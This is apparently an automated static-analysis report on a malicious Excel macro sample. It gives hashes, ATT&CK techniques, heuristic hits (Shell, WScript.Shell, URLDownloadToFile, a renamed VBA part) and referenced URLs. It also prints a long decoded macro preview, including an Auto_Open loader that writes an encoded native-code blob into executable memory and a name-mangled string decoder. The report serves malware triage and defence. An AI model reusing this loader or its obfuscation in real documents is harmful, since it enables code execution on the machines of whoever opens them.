Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 80467fae948f6d6a…

MALICIOUS

Office (OOXML)

238.7 KB Created: 2021-02-24 03:08:56 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-13
MD5: a5e22c7c1576c8f7b14bee1ceb1faf5a SHA-1: b82121e42f08a38150a024d9a74de8bba6e6d97f SHA-256: 80467fae948f6d6a510489d2a5b5fd4d58d0173ef79a46207a5f88f2c044dec0
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols T1204.002 Malicious File

The sample is an Excel document containing a heavily obfuscated VBA macro. This macro utilizes WScript.Shell and CreateObject to execute shell commands and download a payload from a remote URL using URLDownloadToFile. The presence of Auto_Open and the use of Shell() and WScript.Shell indicate an attempt to automatically execute malicious code upon opening the document, likely leading to the download and execution of a second-stage payload.

Heuristics 10

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/printerSettings.bin)
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    kHlwUzgCkMhzGWtAMtR As Boolean)
    Shell tmrEbraVxknTDfcplDFZrWOWnfEMyOT(kGBjrVKQlkurftAsoCm)
    kHlwUzgCkMhzGWtAMtR = True
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    End If
    mAgmufvv = CreateObject("wscript.shell").specialfolders( _
    RUjGqtjBiplnLNPSdxHMqnYVQcWqYNA( _
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal AjZygLsKEgjxZoRqbzyPQJxxkIrAg As LongPtr, ByVal UQjuOLYHpBKqYMEovDTtBv As String, ByVal NhHDnMTggKBWKvvvjzQ As String, ByVal HqlmFdjRCpGxkepDLoMwTTaFA As LongPtr, ByVal lpfnCB As LongPtr) As Long
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Object
    Set Solicitud = CreateObject( _
    "MSXML2.XMLHTTP")
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Object
    Set Solicitud = CreateObject( _
    "MSXML2.XMLHTTP")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Public Sub Auto_Open()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://api.reniec.cloud Referenced by macro
    • https://facturacionelectronica.usReferenced by macro
    • https://www.wmtechnology.orgReferenced by macro
    • https://dni.optimizeperu.comReferenced by macro
    • http://api.ateneaperu.comReferenced by macro
    • https://apiperu.xyzReferenced by macro
    • https://api.reniec.cloud/dni/Referenced by macro
    • https://sel.migraciones.gob.pe/servmig-valreg/VerificarCE?AspxAutoDetectCookieSupport=1Referenced by macro
    • https://sistemasexcel.com/luisrojas/ce.phpReferenced by macro
    • http://schemas.microsoft.com/office/2009/07/customuiReferenced by macro
    • https://www.instagram.com/iamnotluisrojas/Referenced by macro

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 61924 bytes
SHA-256: 360e364c6860b30ca01075d341001a13b061f77535fc7870b3acc4159bfc6bc8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
413 of 738 identifiers look randomly generated (e.g. 'wGDDoeTtKTfdGVduCVduCGhiCGhygGhygCmzXGcH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "mAPI"
Option Explicit

'--------------------------------------------------------------
' This VBA Project has been protected with a proprietary scheme
' Do NOT tamper with this file, as Excel may crash!
'--------------------------------------------------------------

Private Const OPTION_BASE                  As Long = 0
Private Const OPTION_FLAGS                 As Long = 2
Private Const OPTION_INCLUDE_REFERENCEDOCS As Long = 0
Private Const OPTION_DISABLEDCLASSES       As String = ""
Private Const PAGE_EXECUTE_RW              As Long = &H40
Private Const MEM_RESERVE_AND_COMMIT       As Long = &H3000
Private Const MEM_RELEASE                  As Long = &H8000
Private Const ERR_OUT_OF_MEMORY            As Long = &H7
Private Const ROOTOBJECT_SIZE              As Long = &H4D948

Private m_Loader As VCOMInitializerStruct
Private m_VCOMObject As Object

#If VBA7 = False Then
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Address As Long, ByVal Size As Long, ByVal AllocationType As Long, ByVal Protect As Long) As Long
    Private Declare Function GetModuleHandleA Lib "kernel32" (ByVal ProcName As String) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal Module As Long, ByVal ProcName As String) As Long
    Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal Size As Long, ByVal dwFreeType As Long) As Long
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Dest As Any, ByRef Source As Any, ByVal Size As Long)
    Private Const VBA_VERSION              As Long = 6

    Private Type VCOMInitializerStruct
        vtbl_QueryInterface As Long
        vtbl_AddRef As Long
        vtbl_Release As Long
        vtbl_GetTypeInfoCount As Long
        vtbl_GetTypeInfo As Long
        vtbl_GetIDsOfNames As Long
        vtbl_Invoke As Long
        RootObjectMem As Long
        HelperObject As Object
        SysFreeString As Long
        GetProcAddress As Long
        NativeCode As String
        LoaderMem As Long
        IgnoreFlag As Boolean
        VTablePtr As Long
        Kernel32Handle As Long
        RootObject As Object
        ClassFactory As Object
    End Type
#Else
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Address As LongPtr, ByVal Size As LongPtr, ByVal AllocationType As Long, ByVal Protect As Long) As LongPtr
    Private Declare PtrSafe Function GetModuleHandleA Lib "kernel32" (ByVal ProcName As String) As LongPtr
    Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal Module As LongPtr, ByVal ProcName As String) As LongPtr
    Private Declare PtrSafe Function VirtualFree Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal Size As LongPtr, ByVal dwFreeType As Long) As Long
    Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Dest As Any, ByRef Source As Any, ByVal Size As LongPtr)
    Private Const VBA_VERSION              As Long = 7

    Private Type VCOMInitializerStruct
        vtbl_QueryInterface As LongPtr
        vtbl_AddRef As LongPtr
        vtbl_Release As LongPtr
        vtbl_GetTypeInfoCount As LongPtr
        vtbl_GetTypeInfo As LongPtr
        vtbl_GetIDsOfNames As LongPtr
        vtbl_Invoke As LongPtr
        RootObjectMem As LongPtr
        HelperObject As Object
        SysFreeString As LongPtr
        GetProcAddress As LongPtr
        NativeCode As String
        LoaderMem As LongPtr
        IgnoreFlag As Boolean
        VTablePtr As LongPtr
        Kernel32Handle As LongPtr
        RootObject As Object
        ClassFactory As Object
    End Type
#End If

Public Sub Auto_Open()

    With m_Loader
        .NativeCode = "%EEEE%::::PPPPPPPPPH+D$ XXXtNXXXXXXVSPPPPj PPPPPPPP4T)D$04P)D$,4'4 )D$($ PZ3D$@+D$ YQ3H +L$ XP3Q +T$0XPf55ntvf)B|+T$0+T$0+T$0R[YQ^VXP2CP<0tF1D$$kD$$@!L$$2CQ1D$$kD$$@!L$$2CR1D$$kD$$@!L$$2CS+\$,3BP1BP1rP3rP+T$(  XXXXXXXXXXXXX[^tJAYAZQ4tPPPPH)D$@4pH)D$84'4 H)D$0$ PH+L$ H3AtH+D$ L3PtL+T$HXPf55{L+T$HL+T$HtqfA)B8ARA[YQXPA2CD<0tR1D$0kD$0@L!L$0A2CE1D$0kD$0@L!L$0A2CF1D$0kD$0@L!L$0A2CGL+\$@A3BDA1BDA1JDA3JDL+T$8  XXXXXYXXXXqBLHOJA@n[??n[=ezoieZZprkhs^ljbZljbZ=bNZ_Q_>HirF[Q^Z[IrzRM wGDDoeTtKTfdGVduCVduCGhiCGhygGhygCmzXGcH[D_J^DV VfF VX<TI@<_veu]flqomliCuelQxpdudatE@hrwIkzSMzvOizw_Mzw_MssLJssLZBCLZ@A]^@A]^TNa^oFmn^nIv@aSsbT?WeWnSg_DCgKjKWCgHe[wJGe;?@fj;Ifyr@cfMAmTN_rNKNzxilIhMnADMgDV@cm;<jihu?aE=]rdY\puMUpgDuAa;UqSWBSPSUG=LUFNNESSOPGVYEbGXQWROj__GHKjOj_MIHKj^x?IRh=XVh=XVKH<VYKlJWLbAEtOIg@nIDT^HJVOD[KGudwGDEeFT[reTWJ@\ht>a;r>cruLna<Mniy?eKL_]zy?\pznXpznXANNXIL_\IL_\xSc\iMIUzQIdEoomgyo=XAyzJCDBXN>=QKmvHmtvO]HXO]J\O]J\m]hV?]mXmQvgl=tdpaS RUqPBV \PRocNMQflywB>;gFluaO?jKF@UIO ai_vUJ[apwFqeFGfACZVu>[0"

        .LoaderMem = VirtualAlloc(0, Len(.NativeCode), MEM_RESERVE_AND_COMMIT, PAGE_EXECUTE_RW)
        If .LoaderMem = 0 Then Err.Raise ERR_OUT_OF_MEMORY

        .RootObjectMem = VirtualAlloc(0, ROOTOBJECT_SIZE, MEM_RESERVE_AND_COMMIT, PAGE_EXECUTE_RW)
        If .RootObjectMem = 0 Then Err.Raise ERR_OUT_OF_MEMORY

        .vtbl_QueryInterface = .LoaderMem
        .VTablePtr = VarPtr(m_Loader)
        .Kernel32Handle = GetModuleHandleA("KERNEL32")
        .GetProcAddress = GetProcAddress(.Kernel32Handle, "GetProcAddress")
        .SysFreeString = GetProcAddress(GetModuleHandleA("OLEAUT32"), "SysFreeString")
        Call CopyMemory(ByVal .LoaderMem, ByVal .NativeCode, Len(.NativeCode))
        Call CopyMemory(.RootObject, VarPtr(.VTablePtr), LenB(.VTablePtr))
        .IgnoreFlag = TypeOf .RootObject Is VBA.Collection
        Set .ClassFactory = (.RootObject)
        Set .RootObject = Nothing
        VirtualFree .LoaderMem, 0, MEM_RELEASE
        Call .ClassFactory.Init(.Kernel32Handle, .GetProcAddress, OPTION_BASE + OPTION_FLAGS, VBA_VERSION, .HelperObject)
        Set m_VCOMObject = .ClassFactory.GetErrEx()
    End With

End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

Attribute VB_Name = "Funciones"
Option Explicit
Option Private Module
Const iLIIjovviUmoQwoubtZ = _
"V01_j1K4A*%OI­DmE?Fm"
Public NURJYTuSrvgVIiQcJcHxiMpytDIeIDy As String
Function bwmCqbnfUPJacZxQwFxCsWHTZsDHiAl(DDbrKzyBPut As _
String) As String
bwmCqbnfUPJacZxQwFxCsWHTZsDHiAl = HnQCcMyzKDYticgpwnFSfBioKrkZssA(DDbrKzyBPut)
End Function
Function _
SMSUEmEtAKNuUusMOmAzjpRqxEaUSpt( _
KCSNfSxDizrRa As _
String) As String
SMSUEmEtAKNuUusMOmAzjpRqxEaUSpt = HnQCcMyzKDYticgpwnFSfBioKrkZssA(KCSNfSxDizrRa)
End Function
Function YJqNpluNSgifbnWAWxcywbltINcbCRO( _
QsXXnuVXNAYaqeUzl As String) As String
YJqNpluNSgifbnWAWxcywbltINcbCRO = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
QsXXnuVXNAYaqeUzl)
End Function
Function myiHwBoHEOHqtmfQIsazGIHijDFBBuI(lQMbweArURh As _
String) As _
String
myiHwBoHEOHqtmfQIsazGIHijDFBBuI = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
lQMbweArURh)
End Function
Function RUjGqtjBiplnLNPSdxHMqnYVQcWqYNA(WRYUnlSsSQkjctqKYsrYC As String) As String
RUjGqtjBiplnLNPSdxHMqnYVQcWqYNA = HnQCcMyzKDYticgpwnFSfBioKrkZssA(WRYUnlSsSQkjctqKYsrYC)
End Function
Function _
YrocQyeozMRFXjmCcwiXApblvFjOSlP(UqhEVGuHMGpwcPMtBGGVIpIUIJFiRy As String) As String
YrocQyeozMRFXjmCcwiXApblvFjOSlP = HnQCcMyzKDYticgpwnFSfBioKrkZssA(UqhEVGuHMGpwcPMtBGGVIpIUIJFiRy)
End Function
Function ThoMIkhoaFSKqnvEfFvPofnBtdPWsOY(JqVJUgxvVGvp As String) As String
ThoMIkhoaFSKqnvEfFvPofnBtdPWsOY = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
JqVJUgxvVGvp)
End Function
Function xBYorvTcLsZkeYjFkbfVpUrVvzaSdpx(zdAoIMjxSlTo As String) As String
xBYorvTcLsZkeYjFkbfVpUrVvzaSdpx = HnQCcMyzKDYticgpwnFSfBioKrkZssA(zdAoIMjxSlTo)
End Function
Function _
BmXWCfLONyPhcNRKLcpDIOMFKytMqTQ(PasOSwzwbRMEhfBMnnPYKJymk As String) As String
BmXWCfLONyPhcNRKLcpDIOMFKytMqTQ = HnQCcMyzKDYticgpwnFSfBioKrkZssA(PasOSwzwbRMEhfBMnnPYKJymk)
End Function
Function _
YnOLyEwcNhNrnKmMWupwynHWFdJCRyt(qLTXePISUfSm As _
String) As _
String
YnOLyEwcNhNrnKmMWupwynHWFdJCRyt = HnQCcMyzKDYticgpwnFSfBioKrkZssA(qLTXePISUfSm)
End Function
Function QAIhXVlzZJymBeBFfDPSpttukuuoXlW(epILECRGRijnjGDdfcYjZSrQ As String) As String
QAIhXVlzZJymBeBFfDPSpttukuuoXlW = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
epILECRGRijnjGDdfcYjZSrQ)
End Function
Function RvcKfVOcKAdiFqujLIElbJcEXgrkbwT( _
KohbvNiSDMikGt As String) As String
RvcKfVOcKAdiFqujLIElbJcEXgrkbwT = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(KohbvNiSDMikGt)
End Function
Function fxszFVybDAySQStBYitXEPjFEhzZPGN(bmUXPIGamSJfqOOBovBHeMzeVdtgZz As String) As String
fxszFVybDAySQStBYitXEPjFEhzZPGN = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
bmUXPIGamSJfqOOBovBHeMzeVdtgZz)
End Function
Function OhgHMMrvAtMCqBKzipRbXVlAZGTpAOJ(oEcuuIMNdzXpjkQUgARrDgrXFH As String) As String
OhgHMMrvAtMCqBKzipRbXVlAZGTpAOJ = HnQCcMyzKDYticgpwnFSfBioKrkZssA(oEcuuIMNdzXpjkQUgARrDgrXFH)
End Function
Function yErAGEpalNeZyEdVtgRCTIxnlvauJLr( _
AxdhEavoT As _
String) As String
yErAGEpalNeZyEdVtgRCTIxnlvauJLr = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(AxdhEavoT)
End Function
Function HnQCcMyzKDYticgpwnFSfBioKrkZssA(rniUfnE As String) As String
Dim pIUvKbtAeiwmxFOA As _
Byte, qdJntVtNzYjEEsuj As _
Long, xfzeeSJwuhuQcfepgzna As _
Integer, _
ypRMxqj As _
Integer, VdykThIAvuBrXVRf As _
Long, _
hvzoVnSNStOudIvjSmolimHknbsf As _
Long, _
jWPqfJwgOAwRSYrEySLzPZlxKd As _
Long, UdLnrzFsbRDM As String, _
BpGTREwLTZWuyFekAurSHRCPxViL As _
String, _
xHBnWyLbS As String, _
lbhFEAmdlJKXcgXOWAWFtGw As _
String, _
DhchwZAYz As String
xHBnWyLbS = ""
If rniUfnE <> _
"" Then
lbhFEAmdlJKXcgXOWAWFtGw = rniUfnE
pIUvKbtAeiwmxFOA = _
&H557 - 1194
ypRMxqj = _
InStr(rniUfnE, Chr(pIUvKbtAeiwmxFOA))
If NURJYTuSrvgVIiQcJcHxiMpytDIeIDy = _
"" Then
DhchwZAYz = """"
For VdykThIAvuBrXVRf = 25473 - &H6361 To 4328 - &H106A
If InStr(DhchwZAYz, Chr(VdykThIAvuBrXVRf)) = _
0 Then NURJYTuSrvgVIiQcJcHxiMpytDIeIDy = _
NURJYTuSrvgVIiQcJcHxiMpytDIeIDy & _
Chr(VdykThIAvuBrXVRf)
Next VdykThIAvuBrXVRf
End If
jWPqfJwgOAwRSYrEySLzPZlxKd = Len(NURJYTuSrvgVIiQcJcHxiMpytDIeIDy)
BpGTREwLTZWuyFekAurSHRCPxViL = Left(lbhFEAmdlJKXcgXOWAWFtGw, ypRMxqj - 1)
lbhFEAmdlJKXcgXOWAWFtGw = _
Right(lbhFEAmdlJKXcgXOWAWFtGw, Len(lbhFEAmdlJKXcgXOWAWFtGw) - ypRMxqj)
UdLnrzFsbRDM = ""
For _
VdykThIAvuBrXVRf = 1 To Len(lbhFEAmdlJKXcgXOWAWFtGw) Step _
2
UdLnrzFsbRDM = UdLnrzFsbRDM & _
Mid(lbhFEAmdlJKXcgXOWAWFtGw, VdykThIAvuBrXVRf + 1, _
1) & Mid(lbhFEAmdlJKXcgXOWAWFtGw, _
VdykThIAvuBrXVRf, _
1)
Next _
VdykThIAvuBrXVRf
lbhFEAmdlJKXcgXOWAWFtGw = UdLnrzFsbRDM
hvzoVnSNStOudIvjSmolimHknbsf = 0
For VdykThIAvuBrXVRf = 1 To _
Len( _
lbhFEAmdlJKXcgXOWAWFtGw)
UdLnrzFsbRDM = Mid(lbhFEAmdlJKXcgXOWAWFtGw, VdykThIAvuBrXVRf, 1)
qdJntVtNzYjEEsuj = Asc(UdLnrzFsbRDM)
ypRMxqj = _
InStr(NURJYTuSrvgVIiQcJcHxiMpytDIeIDy, UdLnrzFsbRDM)
If ypRMxqj = 0 Then
If qdJntVtNzYjEEsuj >= (13989 - &H3625) Then
qdJntVtNzYjEEsuj = qdJntVtNzYjEEsuj + _
( _
&H40B9 - 16505)
If qdJntVtNzYjEEsuj > _
(17683 - &H4414) Then qdJntVtNzYjEEsuj = qdJntVtNzYjEEsuj - (&H2326 - 8870)
UdLnrzFsbRDM = Chr(qdJntVtNzYjEEsuj)
End If
xHBnWyLbS = xHBnWyLbS & UdLnrzFsbRDM
Else
hvzoVnSNStOudIvjSmolimHknbsf = hvzoVnSNStOudIvjSmolimHknbsf + 1
If hvzoVnSNStOudIvjSmolimHknbsf > _
Len(BpGTREwLTZWuyFekAurSHRCPxViL) Then hvzoVnSNStOudIvjSmolimHknbsf = 1
xfzeeSJwuhuQcfepgzna = Asc(Mid(BpGTREwLTZWuyFekAurSHRCPxViL, hvzoVnSNStOudIvjSmolimHknbsf, 1))
ypRMxqj = _
ypRMxqj - xfzeeSJwuhuQcfepgzna
While ypRMxqj > jWPqfJwgOAwRSYrEySLzPZlxKd
ypRMxqj = _
ypRMxqj - jWPqfJwgOAwRSYrEySLzPZlxKd
Wend
While ypRMxqj < _
0
ypRMxqj = ypRMxqj + jWPqfJwgOAwRSYrEySLzPZlxKd
Wend
If ypRMxqj = 0 Then ypRMxqj = jWPqfJwgOAwRSYrEySLzPZlxKd
xHBnWyLbS = _
xHBnWyLbS & Mid(NURJYTuSrvgVIiQcJcHxiMpytDIeIDy, _
ypRMxqj, 1)
End If
Next VdykThIAvuBrXVRf
End If
HnQCcMyzKDYticgpwnFSfBioKrkZssA = _
xHBnWyLbS
End Function
Function BTaQLkIkTiPdJNiOttwPUpEVlDmHedH(aCkbiePVQFjmDmLA As String) As _
String
BTaQLkIkTiPdJNiOttwPUpEVlDmHedH = HnQCcMyzKDYticgpwnFSfBioKrkZssA(aCkbiePVQFjmDmLA)
End Function
Function _
vkfmnlMEOkpFVACClxttfVYZjexKULC(xxKmUEfM As String) As String
vkfmnlMEOkpFVACClxttfVYZjexKULC = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
xxKmUEfM)
End Function
Function FwZTEDJQYaOxtbroKXeFoSNPplENvjc(xZeqYlpjiwxGpajwlqfiJqpnDpIEIaL As String) As String
FwZTEDJQYaOxtbroKXeFoSNPplENvjc = HnQCcMyzKDYticgpwnFSfBioKrkZssA(xZeqYlpjiwxGpajwlqfiJqpnDpIEIaL)
End Function
Function nrPburRbpdCxFKjffVEeXuvTVNNRlAQ(rrGnHCT As _
String) As _
String
nrPburRbpdCxFKjffVEeXuvTVNNRlAQ = HnQCcMyzKDYticgpwnFSfBioKrkZssA(rrGnHCT)
End Function
Function NlYYeEfhmAwhxrJuVHWmQSSlTVmBREO(SuuYjIbQBguQEbLYVYouJQ As String) As String
NlYYeEfhmAwhxrJuVHWmQSSlTVmBREO = HnQCcMyzKDYticgpwnFSfBioKrkZssA(SuuYjIbQBguQEbLYVYouJQ)
End Function
Function _
yQckcNvMONYJxFhnFJEfMCxtJOSlmZJ(avkBvtklD As String) As String
yQckcNvMONYJxFhnFJEfMCxtJOSlmZJ = HnQCcMyzKDYticgpwnFSfBioKrkZssA(avkBvtklD)
End Function
Function _
xYnArlRWPTfNKpJHsGdMImQSxLhXjNH(mlkuGcgLHoNboQcR As _
String) As String
xYnArlRWPTfNKpJHsGdMImQSxLhXjNH = HnQCcMyzKDYticgpwnFSfBioKrkZssA(mlkuGcgLHoNboQcR)
End Function
Function bwYoayVoCtYhlUhPYMCasRMhbNtpDtg( _
iiAsquaFGDuTOwghZjalLiJC As Object)
Dim aiDICOhNUbMivHLcEVMNuMIbTUPjUyr As Byte, _
hHWdvjGxiwENXeNXCipsvz As _
Long, VSZZqbJENj As _
Long, GlkmFNuwZUrSmRHLzP As _
Long, sZqHSfrKHhlkUwHAE As Long, _
TbwMLTdGRmVyBVajMBJQh As _
String, GIANDEHRhLbFpkaFIibgM As _
String, _
CUorlogcKrORebtrkmrSBQjQvcikB As _
String, wfYekxdIgUsjHtcT As _
Integer, _
nKkDwZfOwr As Integer
On Error Resume _
Next
With iiAsquaFGDuTOwghZjalLiJC
GIANDEHRhLbFpkaFIibgM = .Tag
GlkmFNuwZUrSmRHLzP = CLng(Left(GIANDEHRhLbFpkaFIibgM, 13845 - &H3610))
VSZZqbJENj = CLng(Mid(GIANDEHRhLbFpkaFIibgM, 23998 - _
&H5DB8, 7417 - &H1CF4))
aiDICOhNUbMivHLcEVMNuMIbTUPjUyr = CByte(Mid(GIANDEHRhLbFpkaFIibgM, 17040 - _
&H4285, _
1))
sZqHSfrKHhlkUwHAE = _
CLng(Mid(GIANDEHRhLbFpkaFIibgM, 9642 - _
&H259E, 3))
TbwMLTdGRmVyBVajMBJQh = Mid( _
GIANDEHRhLbFpkaFIibgM, &H7893 - _
30852, sZqHSfrKHhlkUwHAE)
GIANDEHRhLbFpkaFIibgM = Right(GIANDEHRhLbFpkaFIibgM, _
Len(GIANDEHRhLbFpkaFIibgM) - (12824 - &H320A) - sZqHSfrKHhlkUwHAE)
.Left = .Left + (.Width - GlkmFNuwZUrSmRHLzP) / 2
.Width = GlkmFNuwZUrSmRHLzP
.Top = .Top + _
(.Height - VSZZqbJENj) / _
2
.Height = _
VSZZqbJENj
.ScrollBars = aiDICOhNUbMivHLcEVMNuMIbTUPjUyr
CUorlogcKrORebtrkmrSBQjQvcikB = Left(TbwMLTdGRmVyBVajMBJQh, _
1)
For hHWdvjGxiwENXeNXCipsvz = _
Len(TbwMLTdGRmVyBVajMBJQh) To 2 Step -1
CUorlogcKrORebtrkmrSBQjQvcikB = CUorlogcKrORebtrkmrSBQjQvcikB & _
Mid(TbwMLTdGRmVyBVajMBJQh, hHWdvjGxiwENXeNXCipsvz, 1)
Next hHWdvjGxiwENXeNXCipsvz
.Caption = CUorlogcKrORebtrkmrSBQjQvcikB
.Tag = GIANDEHRhLbFpkaFIibgM
End With
For _
hHWdvjGxiwENXeNXCipsvz = 0 To iiAsquaFGDuTOwghZjalLiJC.Controls.Count - 1
With iiAsquaFGDuTOwghZjalLiJC.Controls(hHWdvjGxiwENXeNXCipsvz)
VSZZqbJENj = _
Int(.Top)
wfYekxdIgUsjHtcT = Sgn(VSZZqbJENj)
VSZZqbJENj = Abs(VSZZqbJENj)
GIANDEHRhLbFpkaFIibgM = CStr(VSZZqbJENj)
If Len(GIANDEHRhLbFpkaFIibgM) = (16715 - _
&H4146) Then VSZZqbJENj = _
24536 - _
&H38C9 - _
CLng(Right(GIANDEHRhLbFpkaFIibgM, 30423 - _
&H76D3))
GlkmFNuwZUrSmRHLzP = Int(.Left)
nKkDwZfOwr = _
Sgn(GlkmFNuwZUrSmRHLzP)
GlkmFNuwZUrSmRHLzP = _
Abs(GlkmFNuwZUrSmRHLzP)
GIANDEHRhLbFpkaFIibgM = CStr( _
GlkmFNuwZUrSmRHLzP)
If Len(GIANDEHRhLbFpkaFIibgM) = (&H2A1A - 10773) Then GlkmFNuwZUrSmRHLzP = 15868 - _
&H16ED - CLng(Right(GIANDEHRhLbFpkaFIibgM, 11185 - &H2BAD))
.Top = _
wfYekxdIgUsjHtcT * VSZZqbJENj
.Left = nKkDwZfOwr * GlkmFNuwZUrSmRHLzP
End With
Next hHWdvjGxiwENXeNXCipsvz
End Function
Function GCkJQRXNRjVhgrEVIwwpgAfPntbLCGj(YARvMAgWoNXUmHoqfaCFhtrU As String) As String
GCkJQRXNRjVhgrEVIwwpgAfPntbLCGj = HnQCcMyzKDYticgpwnFSfBioKrkZssA(YARvMAgWoNXUmHoqfaCFhtrU)
End Function
Function XunNUPBHskjqFRqfZOyVaDUBNXhUCaM(XynQFrvqwdYNfsrjx As _
String) As _
String
XunNUPBHskjqFRqfZOyVaDUBNXhUCaM = HnQCcMyzKDYticgpwnFSfBioKrkZssA(XynQFrvqwdYNfsrjx)
End Function
Function _
cDjBQhdkgIAiHhmOFXXBXtDjIyPnzfP(YqZYxxeCCapCQOCwFnIItPVDb As String) As String
cDjBQhdkgIAiHhmOFXXBXtDjIyPnzfP = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(YqZYxxeCCapCQOCwFnIItPVDb)
End Function
Function GOSIdAManAhNqDEWHAqpdTDNnJdKvDO(EIUfiBPXeHcPcDhjmmFB As _
String) As String
GOSIdAManAhNqDEWHAqpdTDNnJdKvDO = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
EIUfiBPXeHcPcDhjmmFB)
End Function
Function TKYzVYqoqIMQIjSPbnkfmEGSiEJXuyv(FegPUbjjmGRoc As _
String) As String
TKYzVYqoqIMQIjSPbnkfmEGSiEJXuyv = HnQCcMyzKDYticgpwnFSfBioKrkZssA( _
FegPUbjjmGRoc)
End Function
Function xtIpQkOEwpSucAolFfaLqwRciKXkvdK( _
SnyAKFdchnximTlsCAM As _
String) As String
xtIpQkOEwpSucAolFfaLqwRciKXkvdK = HnQCcMyzKDYticgpwnFSfBioKrkZssA(SnyAKFdchnximTlsCAM)
End Function
Function veUIGkCUDIzltgJqoZCBIkkWyTeVWyD( _
MNmERjZxcnNriaGOaj As String) As _
String
veUIGkCUDIzltgJqoZCBIkkWyTeVWyD = HnQCcMyzKDYticgpwnFSfBioKrkZssA(MNmERjZxcnNriaGOaj)
End Function
Function UFxIMzHKRLIPwDzylbYNxsdrsascMDP(vMBbwfxAySQ As String) As String
UFxIMzHKRLIPwDzylbYNxsdrsascMDP = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(vMBbwfxAySQ)
End Function
Function IrcAqzDmyhwtdEDLYsmecNoxLMJwvXr( _
eXVoIAKWVqReZNOLZr As String) As String
IrcAqzDmyhwtdEDLYsmecNoxLMJwvXr = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(eXVoIAKWVqReZNOLZr)
End Function
Function ldJboWoavFmqhFXsJqXjdObSBqXNgNb( _
dXCyobwNTeZhKUYn As String) As String
ldJboWoavFmqhFXsJqXjdObSBqXNgNb = HnQCcMyzKDYticgpwnFSfBioKrkZssA(dXCyobwNTeZhKUYn)
End Function
Function fOwjKaVxYogaXDXNqPtpGzMgEzoiPgQ(udNMivWJcTxPdZXdcNLQYTYv As String) As _
String
fOwjKaVxYogaXDXNqPtpGzMgEzoiPgQ = _
HnQCcMyzKDYticgpwnFSfBioKrkZssA(udNMivWJcTxPdZXdcNLQYTYv)
End Function
